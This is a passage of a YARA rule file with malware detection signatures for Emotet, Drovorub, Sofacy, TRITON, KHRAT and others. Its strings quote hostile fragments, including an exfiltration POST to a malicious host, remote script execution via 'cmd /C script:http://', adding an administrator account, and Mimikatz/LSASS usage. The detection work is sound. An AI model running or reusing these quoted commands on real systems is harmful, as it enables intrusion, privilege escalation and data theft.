		$x3 = "<registration progid=\"ff010f\" classid=\"{e934870c-b429-4d0d-acf1-eef338b92c4b}\" >" fullword ascii

	condition:
		1 of them
}

rule MAL_KHRAT_scritplet
{
	meta:
		description = "Rule derived from KHRAT scriptlet"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://researchcenter.paloaltonetworks.com/2017/08/unit42-updated-khrat-malware-used-in-cambodia-attacks/"
		date = "2017-08-31"
		hash1 = "cdb9104636a6f7c6018fe99bc18fb8b542689a84c23c10e9ea13d5aa275fd40e"
		id = "f72d68a3-0409-5401-b6a1-ca8f188d7409"

	strings:
		$x1 = "http.open \"POST\", \"http://update.upload-dropbox[.]com/docs/tz/GetProcess.php\",False,\"\",\"\" " fullword ascii
		$x2 = "Process=Process & Chr(32) & Chr(32) & Chr(32) & Obj.Description" fullword ascii
		$s1 = "http.SetRequestHeader \"Content-Type\", \"application/json\" " fullword ascii
		$s2 = "Dim http,WMI,Objs,Process" fullword ascii
		$s3 = "Set Objs=WMI.InstancesOf(\"Win32_Process\")" fullword ascii
		$s4 = "'WScript.Echo http.responseText " fullword ascii

	condition:
		uint16( 0 ) == 0x3f3c and filesize < 1KB and ( 1 of ( $x* ) or 4 of them )
}

import "pe"

rule VULN_PrinterDriver_PrivEsc_CVE_2021_3438_Jul21
{
	meta:
		description = "Detects affected drivers with PE timestamps older than the date of the initial report"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://labs.sentinelone.com/cve-2021-3438-16-years-in-hiding-millions-of-printers-worldwide-vulnerable/"
		date = "2021-07-20"
		score = 70
		hash1 = "7cc9ba2df7b9ea6bb17ee342898edd7f54703b93b6ded6a819e83a7ee9f938b4"
		id = "34cd648a-3e3f-5832-8abe-18507931eb3d"

	strings:
		$s1 = "This String is from Device Driver@@@@@ !!!" ascii
		$s2 = "\\DosDevices\\ssportc" wide fullword

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 400KB and all of ( $s* ) and 1613606400 >= pe.timestamp
}

rule APT_APT28_generic_poco_openssl
{
	meta:
		description = "Rule to detect statically linked POCO and OpenSSL libraries (COULD be Drovorub related and should be further investigated)"
		author = "NSA / FBI"
		reference = "https://www.nsa.gov/news-features/press-room/Article/2311407/nsa-and-fbi-expose-russian-previously-undisclosed-malware-drovorub-in-cybersecu/"
		date = "2020-08-13"
		score = 50

	strings:
		$mw1 = { 89 F1 48 89 FE 48 89 D7 48 F7 C6 FF FF FF FF 0F 84 6B 02 00 00 48 F7 C7
                 FF FF FF FF 0F 84 5E 02 00 00 48 8D 2D }
		$mw2 = { 41 54 49 89 D4 55 53 F6 47 19 04 48 8B 2E 75 08 31 DB F6 45 00 03 75 }
		$mw3 = { 85C0BA15000000750989D05BC30F1F44 0000BE }
		$mw4 = { 53 8A 47 08 3C 06 74 21 84 C0 74 1D 3C 07 74 20 B9 ?? ?? ?? ?? BA FD 03
                 00 00 BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 E8 06 3C 01 77 2B 48 8B 1F 48 8B 73
                 10 48 89 DF E8 ?? ?? ?? ?? 48 8D 43 08 48 C7 43 10 00 00 00 00 48 C7 43 28 00 00 00 00 48
                 89 43 18 48 89 43 20 5B C3 }

	condition:
		all of them
}

rule APT_APT28_drovorub_library_and_unique_strings
{
	meta:
		description = "Rule to detect Drovorub-server, Drovorub-agent, and Drovorub-client"
		author = "NSA / FBI"
		reference = "https://www.nsa.gov/news-features/press-room/Article/2311407/nsa-and-fbi-expose-russian-previously-undisclosed-malware-drovorub-in-cybersecu/"
		date = "2020-08-13"
		score = 75
		id = "8e010356-09c7-5897-9cbe-051cd0800502"

	strings:
		$s1 = "Poco" ascii wide
		$s2 = "Json" ascii wide
		$s3 = "OpenSSL" ascii wide
		$a1 = "clientid" ascii wide
		$a2 = "-----BEGIN" ascii wide
		$a3 = "-----END" ascii wide
		$a4 = "tunnel" ascii wide

	condition:
		( filesize > 1MB and filesize < 10MB and ( uint32( 0 ) == 0x464c457f ) ) and ( #s1 > 20 and #s2 > 15 and #s3 > 15 and all of ( $a* ) )
}

rule APT_APT28_drovorub_unique_network_comms_strings
{
	meta:
		description = "Rule to detect Drovorub-server, Drovorub-agent, or Drovorub-client based"
		author = "NSA / FBI"
		reference = "https://www.nsa.gov/news-features/press-room/Article/2311407/nsa-and-fbi-expose-russian-previously-undisclosed-malware-drovorub-in-cybersecu/"
		date = "2020-08-13"
		score = 75
		id = "c6a930e8-c1c0-5d96-9051-7516df848b45"

	strings:
		$s_01 = "action" wide ascii
		$s_02 = "auth.commit" wide ascii
		$s_03 = "auth.hello" wide ascii
		$s_04 = "auth.login" wide ascii
		$s_05 = "auth.pending" wide ascii
		$s_06 = "client_id" wide ascii
		$s_07 = "client_login" wide ascii
		$s_08 = "client_pass" wide ascii
		$s_09 = "clientid" wide ascii
		$s_10 = "clientkey_base64" wide ascii
		$s_11 = "file_list_request" wide ascii
		$s_12 = "module_list_request" wide ascii
		$s_13 = "monitor" wide ascii
		$s_14 = "net_list_request" wide ascii
		$s_15 = "server finished" wide ascii
		$s_16 = "serverid" wide ascii
		$s_17 = "tunnel" wide ascii

	condition:
		all of them
}

rule MAL_Emotet_JS_Dropper_Oct19_1
{
	meta:
		description = "Detects Emotet JS dropper"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://app.any.run/tasks/aaa75105-dc85-48ca-9732-085b2ceeb6eb/"
		date = "2019-10-03"
		hash1 = "38295d728522426672b9497f63b72066e811f5b53a14fb4c4ffc23d4efbbca4a"
		hash2 = "9bc004a53816a5b46bfb08e819ac1cf32c3bdc556a87a58cbada416c10423573"
		id = "34605452-8f3d-540a-b66f-4f68d9187003"

	strings:
		$xc1 = { FF FE 76 00 61 00 72 00 20 00 61 00 3D 00 5B 00
               27 00 }

	condition:
		uint32( 0 ) == 0x0076feff and filesize <= 700KB and $xc1 at 0
}

import "pe"

rule MAL_Emotet_Jan20_1
{
	meta:
		description = "Detects Emotet malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://app.any.run/tasks/5e81638e-df2e-4a5b-9e45-b07c38d53929/"
		date = "2020-01-29"
		hash1 = "e7c22ccdb1103ee6bd15c528270f56913bb2f47345b360802b74084563f1b73d"
		id = "334ae7e5-0a46-5e95-bf53-0f343db4e4de"

	strings:
		$op0 = { 74 60 8d 34 18 eb 54 03 c3 50 ff 15 18 08 41 00 }
		$op1 = { 03 fe 66 39 07 0f 85 2a ff ff ff 8b 4d f0 6a 20 }
		$op2 = { 8b 7d fc 0f 85 49 ff ff ff 85 db 0f 84 d1 }

	condition:
		uint16( 0 ) == 0x5a4d and filesize <= 200KB and ( pe.imphash ( ) == "009889c73bd2e55113bf6dfa5f395e0d" or 1 of them )
}

rule MAL_Emotet_BKA_Quarantine_Apr21
{
	meta:
		author = "press inquiries <info@bka.de>, technical contact <info@mha.bka.de>"
		reference = "https://www.bka.de/DE/IhreSicherheit/RichtigesVerhalten/StraftatenImInternet/FAQ/FAQ_node.html"
		descripton = "The modified emotet binary replaces the original emotet on the system of the victim. The original emotet is copied to a quarantine for evidence-preservation."
		note = "The quarantine folder depends on the scope of the initial emotet infection (user or administrator). It is the temporary folder as returned by GetTempPathW under a filename starting with UDP as returned by GetTempFileNameW. To prevent accidental reinfection by a user, the quarantined emotet is encrypted using RC4 and a 0x20 bytes long key found at the start of the quarantined file (see $key)."
		sharing = "TLP:WHITE"
		date = "2021-03-23"
		id = "22c27d82-00cb-5d2f-a1cc-9f8b4c60aecd"

	strings:
		$key = { c3 da da 19 63 45 2c 86 77 3b e9 fd 24 64 fb b8 07 fe 12 d0 2a 48 13 38 48 68 e8 ae 91 3c ed 82 }

	condition:
		$key at 0
}

rule MAL_Emotet_BKA_Cleanup_Apr21
{
	meta:
		author = "press inquiries <info@bka.de>, technical contact <info@mha.bka.de>"
		reference = "https://www.bka.de/DE/IhreSicherheit/RichtigesVerhalten/StraftatenImInternet/FAQ/FAQ_node.html"
		descripton = "This rule targets a modified emotet binary deployed by the Bundeskriminalamt on the 26th of January 2021."
		note = "The binary will replace the original emotet by copying it to a quarantine. It also contains a routine to perform a self-deinstallation on the 25th of April 2021. The three-month timeframe between rollout and self-deinstallation was chosen primarily for evidence purposes as well as to allow remediation."
		sharing = "TLP:WHITE"
		date = "2021-03-23"
		id = "10d93918-8a5e-54a3-81c6-f6ff68562e13"

	strings:
		$key = { c3 da da 19 63 45 2c 86 77 3b e9 fd 24 64 fb b8 07 fe 12 d0 2a 48 13 38 48 68 e8 ae 91 3c ed 82 }

	condition:
		filesize > 300KB and filesize < 700KB and uint16( 0 ) == 0x5A4D and $key
}

rule EXT_MAL_SystemBC_Mar22_1
{
	meta:
		author = "Thomas Barabosch, Deutsche Telekom Security"
		date = "2022-03-11"
		description = "Detects unpacked SystemBC module as used by Emotet in March 2022"
		score = 85
		malpedia_reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc"
		reference = "https://twitter.com/Cryptolaemus1/status/1502069552246575105"
		reference2 = "https://medium.com/walmartglobaltech/inside-the-systembc-malware-as-a-service-9aa03afd09c6"
		hash1 = "c926338972be5bdfdd89574f3dc2fe4d4f70fd4e24c1c6ac5d2439c7fcc50db5"
		id = "39e1a131-bd2c-56e9-961f-2b2c31f29e85"

	strings:
		$sx1 = "-WindowStyle Hidden -ep bypass -file" ascii
		$sx2 = "BEGINDATA" ascii
		$sx3 = "GET %s HTTP/1.0" ascii
		$s5 = "User-Agent:" ascii
		$s8 = "ALLUSERSPROFILE" ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 30KB and 2 of ( $sx* ) ) or all of them
}

rule GoldenEye_Ransomware_XLS
{
	meta:
		description = "GoldenEye XLS with Macro - file Schneider-Bewerbung.xls"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/jp2SkT"
		date = "2016-12-06"
		hash1 = "2320d4232ee80cc90bacd768ba52374a21d0773c39895b88cdcaa7782e16c441"
		id = "6eafcc35-56ef-534f-884a-0bb47c27c274"

	strings:
		$x1 = "fso.GetTempName();tmp_path = tmp_path.replace('.tmp', '.exe')" fullword ascii
		$x2 = "var shell = new ActiveXObject('WScript.Shell');shell.run(t'" fullword ascii

	condition:
		( uint16( 0 ) == 0xcfd0 and filesize < 4000KB and 1 of them )
}

rule GoldenEyeRansomware_Dropper_MalformedZoomit
{
	meta:
		description = "Auto-generated rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/jp2SkT"
		date = "2016-12-06"
		hash1 = "b5ef16922e2c76b09edd71471dd837e89811c5e658406a8495c1364d0d9dc690"
		id = "6ebf2d13-7d58-5a1b-a836-66d533f408e8"

	strings:
		$s1 = "ZoomIt - Sysinternals: www.sysinternals.com" fullword ascii
		$n1 = "Mark Russinovich" wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 800KB and $s1 and not $n1 )
}

rule Sofacy_Malware_StrangeSpaces
{
	meta:
		description = "Detetcs strange strings from Sofacy malware with many spaces"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
		date = "2015-12-04"
		id = "60f99b88-f256-5289-852c-c0bf27f1cbd4"

	strings:
		$s2 = "Delete Temp Folder Service                                  " fullword wide
		$s3 = " Operating System                        " fullword wide
		$s4 = "Microsoft Corporation                                       " fullword wide
		$s5 = " Microsoft Corporation. All rights reserved.               " fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 50KB and 3 of them
}

rule Sofacy_Malware_AZZY_Backdoor_1
{
	meta:
		description = "AZZY Backdoor - Sample 1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
		date = "2015-12-04"
		hash = "a9dc96d45702538c2086a749ba2fb467ba8d8b603e513bdef62a024dfeb124cb"
		id = "184dc45e-8014-5dcf-a033-d77586c60fdf"

	strings:
		$s0 = "advstorshell.dll" fullword wide
		$s1 = "advshellstore.dll" fullword ascii
		$s2 = "Windows Advanced Storage Shell Extension DLL" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 150KB and 2 of them
}

rule Sofacy_AZZY_Backdoor_Implant_1
{
	meta:
		description = "AZZY Backdoor Implant 4.3 - Sample 1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
		date = "2015-12-04"
		hash = "1bab1a3e0e501d3c14652ecf60870e483ed4e90e500987c35489f17a44fef26c"
		id = "ec6bf8ca-ccb9-532e-8b0d-1fba59efa2da"

	strings:
		$s1 = "\\tf394kv.dll" wide
		$s2 = "DWN_DLL_MAIN.dll" fullword ascii
		$s3 = "?SendDataToServer_2@@YGHPAEKEPAPAEPAK@Z" ascii
		$s4 = "?Applicate@@YGHXZ" ascii
		$s5 = "?k@@YGPAUHINSTANCE__@@PBD@Z" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and 2 of them
}

rule Sofacy_AZZY_Backdoor_HelperDLL
{
	meta:
		description = "Dropped C&C helper DLL for AZZY 4.3"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
		date = "2015-12-04"
		hash = "6cd30c85dd8a64ca529c6eab98a757fb326de639a39b597414d5340285ba91c6"
		id = "eae089a0-21dc-5d6e-a4bc-7181dc9b8b35"

	strings:
		$s0 = "snd.dll" fullword ascii
		$s1 = "InternetExchange" fullword ascii
		$s2 = "SendData"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and all of them
}

rule Sofacy_CollectorStealer_Gen1
{
	meta:
		description = "Generic rule to detect Sofacy Malware Collector Stealer"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
		date = "2015-12-04"
		super_rule = 1
		hash1 = "4e4606313c423b681e11110ca5ed3a2b2632ec6c556b7ab9642372ae709555f3"
		hash2 = "92dcb0d8394d0df1064e68d90cd90a6ae5863e91f194cbaac85ec21c202f581f"
		id = "f9462dd9-f6b6-59f4-a443-12d6f3be444e"

	strings:
		$s0 = "NvCpld.dll" fullword ascii
		$s1 = "NvStop" fullword ascii
		$s2 = "NvStart" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and all of them
}

rule Sofacy_CollectorStealer_Gen2
{
	meta:
		description = "File collectors / USB stealers - Generic"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
		date = "2015-12-04"
		hash = "e917166adf6e1135444f327d8fff6ec6c6a8606d65dda4e24c2f416d23b69d45"
		hash = "92dcb0d8394d0df1064e68d90cd90a6ae5863e91f194cbaac85ec21c202f581f"
		hash = "b1f2d461856bb6f2760785ee1af1a33c71f84986edf7322d3e9bd974ca95f92d"
		id = "03ced94f-de20-56c5-bf17-1ec7d8610684"

	strings:
		$s1 = "msdetltemp.dll" fullword ascii
		$s2 = "msdeltemp.dll" fullword wide
		$s3 = "Delete Temp Folder Service" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and 2 of them
}

rule Sofacy_CollectorStealer_Gen3
{
	meta:
		description = "File collectors / USB stealers - Generic"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
		date = "2015-12-04"
		hash = "92dcb0d8394d0df1064e68d90cd90a6ae5863e91f194cbaac85ec21c202f581f"
		hash = "4e4606313c423b681e11110ca5ed3a2b2632ec6c556b7ab9642372ae709555f3"
		id = "d2ee1a22-6aae-51fc-9043-a7ba99769376"

	strings:
		$s1 = "NvCpld.dll" fullword ascii
		$s4 = "NvStart" fullword ascii
		$s5 = "NvStop" fullword ascii
		$a1 = "%.4d%.2d%.2d%.2d%.2d%.2d%.2d%.4d" fullword wide
		$a2 = "IGFSRVC.dll" fullword wide
		$a3 = "Common User Interface" fullword wide
		$a4 = "igfsrvc Module" fullword wide
		$b1 = " Operating System                        " fullword wide
		$b2 = "Microsoft Corporation                                       " fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 150KB and ( all of ( $s* ) and ( all of ( $a* ) or all of ( $b* ) ) )
}

rule LOG_APT_WEBSHELL_Solarwinds_SUNBURST_Report_Webshell_Dec20_2
{
	meta:
		description = "Detects webshell access mentioned in FireEye's SUNBURST report"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/"
		date = "2020-12-21"
		id = "fb86164d-13de-5357-8f52-c597b51127ff"

	strings:
		$xr1 = /logoimagehandler.ashx[^\n\s]{1,400}clazz=/ ascii wide

	condition:
		$xr1
}

rule APT_NK_Methodology_Artificial_UserAgent_IE_Win7
{
	meta:
		author = "Steve Miller aka @stvemillertime"
		description = "Detects hard-coded User-Agent string that has been present in several APT37 malware families."
		hash1 = "e63efbf8624a531bb435b7446dbbfc25"
		score = 45
		id = "a747c908-7af7-5c29-8386-a71db7648061"

	strings:
		$a1 = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko"
		$a2 = {4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 36 2e 31 3b 20 57 4f 57 36 34 3b 20 54 72 69 64 65 6e 74 2f 37 2e 30 3b 20 72 76 3a 31 31 2e 30 29 20 6c 69 6b 65 20 47 65 63 6b 6f 00 00 00 00}
		$fp1 = "Esumsoft" wide
		$fp2 = "Acunetix" wide ascii
		$fp3 = "TASER SYNC" ascii

	condition:
		uint16( 0 ) == 0x5A4D and all of ( $a* ) and not 1 of ( $fp* )
}

rule TRITON_ICS_FRAMEWORK
{
	meta:
		author = "nicholas.carr @itsreallynick"
		hash = "0face841f7b2953e7c29c064d6886523"
		description = "TRITON framework recovered during Mandiant ICS incident response"
		reference = "https://www.fireeye.com/blog/threat-research/2017/12/attackers-deploy-new-ics-attack-framework-triton.html"
		id = "af21e55e-ab09-5800-8aac-aee63ae8582c"

	strings:
		$python_compiled = ".pyc" nocase ascii wide
		$python_module_01 = "__module__" nocase ascii wide
		$python_module_02 = "<module>" nocase ascii wide
		$python_script_01 = "import Ts" nocase ascii wide
		$python_script_02 = "def ts_" nocase ascii wide
		$py_cnames_01 = "TS_cnames.py" nocase ascii wide
		$py_cnames_02 = "TRICON" nocase ascii wide
		$py_cnames_03 = "TriStation " nocase ascii wide
		$py_cnames_04 = " chassis " nocase ascii wide
		$py_tslibs_01 = "GetCpStatus" nocase ascii wide
		$py_tslibs_03 = " sequence" nocase ascii wide
		$py_tslibs_04 = /import Ts(Hi|Low|Base)[^:alpha:]/ nocase ascii wide
		$py_tslibs_05 = /module\s?version/ nocase ascii wide
		$py_tslibs_07 = "prog_cnt" nocase ascii wide
		$py_tsbase_01 = "TsBase.py" nocase ascii wide
		$py_tsbase_02 = ".TsBase(" nocase ascii wide
		$py_tshi_01 = "TsHi.py" nocase ascii wide
		$py_tshi_02 = "keystate" nocase ascii wide
		$py_tshi_03 = "GetProjectInfo" nocase ascii wide
		$py_tshi_04 = "GetProgramTable" nocase ascii wide
		$py_tshi_05 = "SafeAppendProgramMod" nocase ascii wide
		$py_tslow_01 = "TsLow.py" nocase ascii wide
		$py_tslow_02 = "print_last_error" ascii nocase wide
		$py_tslow_03 = ".TsLow(" ascii nocase wide
		$py_tslow_05 = " TCM found" nocase ascii wide
		$py_crc_01 = "crc.pyc" nocase ascii wide
		$py_crc_02 = "CRC16_MODBUS" ascii wide
		$py_crc_03 = "Kotov Alaxander" nocase ascii wide
		$py_crc_04 = "CRC_CCITT_XMODEM" ascii wide
		$py_crc_05 = "crc16ret" ascii wide
		$py_crc_06 = "CRC16_CCITT_x1D0F" ascii wide
		$py_crc_07 = /CRC16_CCITT[^_]/ ascii wide
		$py_sh_01 = "sh.pyc" nocase ascii wide
		$py_keyword_01 = " FAILURE" ascii wide
		$py_keyword_02 = "symbol table" nocase ascii wide
		$py_TRIDENT_01 = "inject.bin" ascii nocase wide
		$py_TRIDENT_02 = "imain.bin" ascii nocase wide

	condition:
		2 of ( $python_* ) and 7 of ( $py_* ) and filesize < 3MB
}

rule Triton_trilog
{
	meta:
		description = "Detects Triton APT malware - file trilog.exe"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/vtQoCQ"
		date = "2017-12-14"
		hash1 = "e8542c07b2af63ee7e72ce5d97d91036c5da56e2b091aa2afe737b224305d230"
		id = "ae2c9b47-2a67-50c6-9d2a-dc47b4fa69ef"

	strings:
		$s1 = "inject.bin" ascii
		$s2 = "PYTHON27.DLL" fullword ascii
		$s3 = "payload" ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 60KB and all of them
}

rule Win32_Buzus_Softpulse
{
	meta:
		description = "Trojan Buzus / Softpulse"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		date = "2015-05-13"
		hash = "2f6df200e63a86768471399a74180466d2e99ea9"
		score = 75
		id = "3b555916-030a-5773-b2f1-e995fc81b697"

	strings:
		$x1 = "pi4izd6vp0.com" fullword ascii
		$s1 = "SELECT * FROM Win32_Process" fullword wide
		$s4 = "CurrentVersion\\Uninstall\\avast" fullword wide
		$s5 = "Find_RepeatProcess" fullword ascii
		$s6 = "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\" wide
		$s7 = "myapp.exe" fullword ascii
		$s14 = "/c ping -n 1 www.google" wide

	condition:
		uint16( 0 ) == 0x5a4d and ( ( $x1 and 2 of ( $s* ) ) or all of ( $s* ) )
}

rule PowerShell_Suite_Hacktools_Gen_Strings
{
	meta:
		description = "Detects strings from scripts in the PowerShell-Suite repo"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/FuzzySecurity/PowerShell-Suite"
		date = "2017-12-27"
		hash1 = "79071ba5a984ee05903d566130467483c197cbc2537f25c1e3d7ae4772211fe0"
		hash2 = "db31367410d0a9ffc9ed37f423a4b082639591be7f46aca91f5be261b23212d5"
		hash3 = "4f51e7676a4d54c1962760ca0ac81beb28008451511af96652c31f4f40e8eb8e"
		hash4 = "17ac9bb0c46838c65303f42a4a346fcba838ebd5833b875e81dd65c82701d8a8"
		hash5 = "fa33aef619e620a88ecccb990e71c1e11ce2445f799979d23be2d1ad4321b6c6"
		hash6 = "5542bd89005819bc4eef8dfc8a158183e5fd7a1438c84da35102588f5813a225"
		hash7 = "c6a99faeba098eb411f0a9fcb772abac2af438fc155131ebfc93a00e3dcfad50"
		hash8 = "a8e06ecf5a8c25619ce85f8a23f2416832cabb5592547609cfea8bd7fcfcc93d"
		hash9 = "6aa5abf58904d347d441ac8852bd64b2bad3b5b03b518bdd06510931a6564d08"
		hash10 = "5608f25930f99d78804be8c9c39bd33f4f8d14360dd1e4cc88139aa34c27376d"
		hash11 = "68b6c0b5479ecede3050a2f44f8bb8783a22beeef4a258c4ff00974f5909b714"
		hash12 = "da25010a22460bbaabff0f7004204aae7d830348e8a4543177b1f3383b2c3100"
		id = "afccdd99-da83-5fde-9e21-52220ded1e47"

	strings:
		$ = "[!] NtCreateThreadEx failed.." fullword ascii
		$ = "[?] Executing mmc.." ascii
		$ = "[!] This method is only supported on 64-bit!" fullword ascii
		$ = "$LNK = [ShellLink.Shortcut]::FromByteArray($LNKHeader.GetBytes())" fullword ascii
		$ = "$CallResult = [UACTokenMagic]::TerminateProcess($ShellExecuteInfo.hProcess, 1)" fullword ascii
		$ = "[!] Unable to open process (as Administrator), this may require SYSTEM access." fullword ascii
		$ = "[!] Error, NTSTATUS Value: " ascii
		$ = "[!] UAC artifact: " ascii
		$ = "[>] Process dump success!" ascii
		$ = "[!] Process dump failed!" ascii
		$ = "[+] Eidolon entry point:" fullword ascii
		$ = "Wait for shellcode to run" fullword ascii
		$ = "$Command = Read-Host \"`nSMB shell\"" fullword ascii
		$ = "Use Netapi32::NetSessionEnum to enumerate active sessions on domain joined machines." fullword ascii
		$ = "Invoke-CreateProcess -Binary C:\\Windows\\System32\\" ascii
		$ = "[?] Thread belongs to: " ascii
		$ = "[?] Operating system core count: " ascii
		$ = "[>] Calling Advapi32::LookupPrivilegeValue --> SeDebugPrivilege" fullword ascii
		$ = "Calling Advapi32::OpenProcessToken --> LSASS" ascii
		$ = "[!] Mmm, something went wrong! GetLastError returned:" ascii
		$ = "if (($FileBytes[0..1] | % {[Char]$_}) -join '' -cne 'MZ')" fullword ascii

	condition:
		filesize < 100KB and 1 of them
}

rule PowerShell_Suite_Eidolon
{
	meta:
		description = "Detects PowerShell Suite Eidolon script - file Start-Eidolon.ps1"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://github.com/FuzzySecurity/PowerShell-Suite"
		date = "2017-12-27"
		hash1 = "db31367410d0a9ffc9ed37f423a4b082639591be7f46aca91f5be261b23212d5"
		id = "5440d8fc-b939-556f-a8a0-ef5feb29e32f"

	strings:
		$ = "[+] Eidolon entry point:" ascii
		$ = "C:\\PS> Start-Eidolon -Target C:\\Some\\File.Path -Mimikatz -Verbose" fullword ascii
		$ = "[Int16]$PEArch = '0x{0}' -f ((($PayloadBytes[($OptOffset+1)..($OptOffset)]) | % {$_.ToString('X2')}) -join '')" fullword ascii

	condition:
		uint16( 0 ) == 0x7566 and filesize < 13000KB and 1 of them
}

rule Ping_Command_in_EXE
{
	meta:
		description = "Detects an suspicious ping command execution in an executable"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2016-11-03"
		score = 60
		id = "937ab622-fbcf-5a31-a3ff-af2584484140"

	strings:
		$x1 = "cmd /c ping 127.0.0.1 -n " ascii

	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule GoogleBot_UserAgent
{
	meta:
		description = "Detects the GoogleBot UserAgent String in an Executable"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-01-27"
		score = 65
		id = "621532ac-fc0b-5118-84b0-eac110693320"

	strings:
		$x1 = "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)" fullword ascii
		$fp1 = "McAfee, Inc." wide

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 500KB and $x1 and not 1 of ( $fp* ) )
}

rule Gen_Net_LocalGroup_Administrators_Add_Command
{
	meta:
		description = "Detects an executable that contains a command to add a user account to the local administrators group"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-07-08"
		id = "9f6095fc-6d9f-5814-b407-f320191fd912"

	strings:
		$x1 = /net localgroup administrators [a-zA-Z0-9]{1,16} \/add/ nocase ascii

	condition:
		( uint16( 0 ) == 0x5a4d and filesize < 400KB and 1 of them )
}

rule Suspicious_Script_Running_from_HTTP
{
	meta:
		description = "Detects a suspicious "
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.hybrid-analysis.com/sample/a112274e109c5819d54aa8de89b0e707b243f4929a83e77439e3ff01ed218a35?environmentId=100"
		score = 50
		date = "2017-08-20"
		id = "9ba84e9c-a32b-5f66-8d50-75344599cafc"

	strings:
		$s1 = "cmd /C script:http://" ascii nocase
		$s2 = "cmd /C script:https://" ascii nocase
		$s3 = "cmd.exe /C script:http://" ascii nocase
		$s4 = "cmd.exe /C script:https://" ascii nocase

	condition:
		1 of them
}

rule ReconCommands_in_File : FILE
{
	meta:
		description = "Detects various recon commands in a single file"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://twitter.com/haroonmeer/status/939099379834658817"
		date = "2017-12-11"
		score = 40
		id = "62d59913-5dbd-512c-98ea-044bbb9ac2da"

	strings:
		$ = "tasklist"
		$ = "net time"
		$ = "systeminfo"
		$ = "whoami"
		$ = "nbtstat"
		$ = "net start"
		$ = "qprocess"
		$ = "nslookup"

	condition:
		filesize < 5KB and 4 of them
}

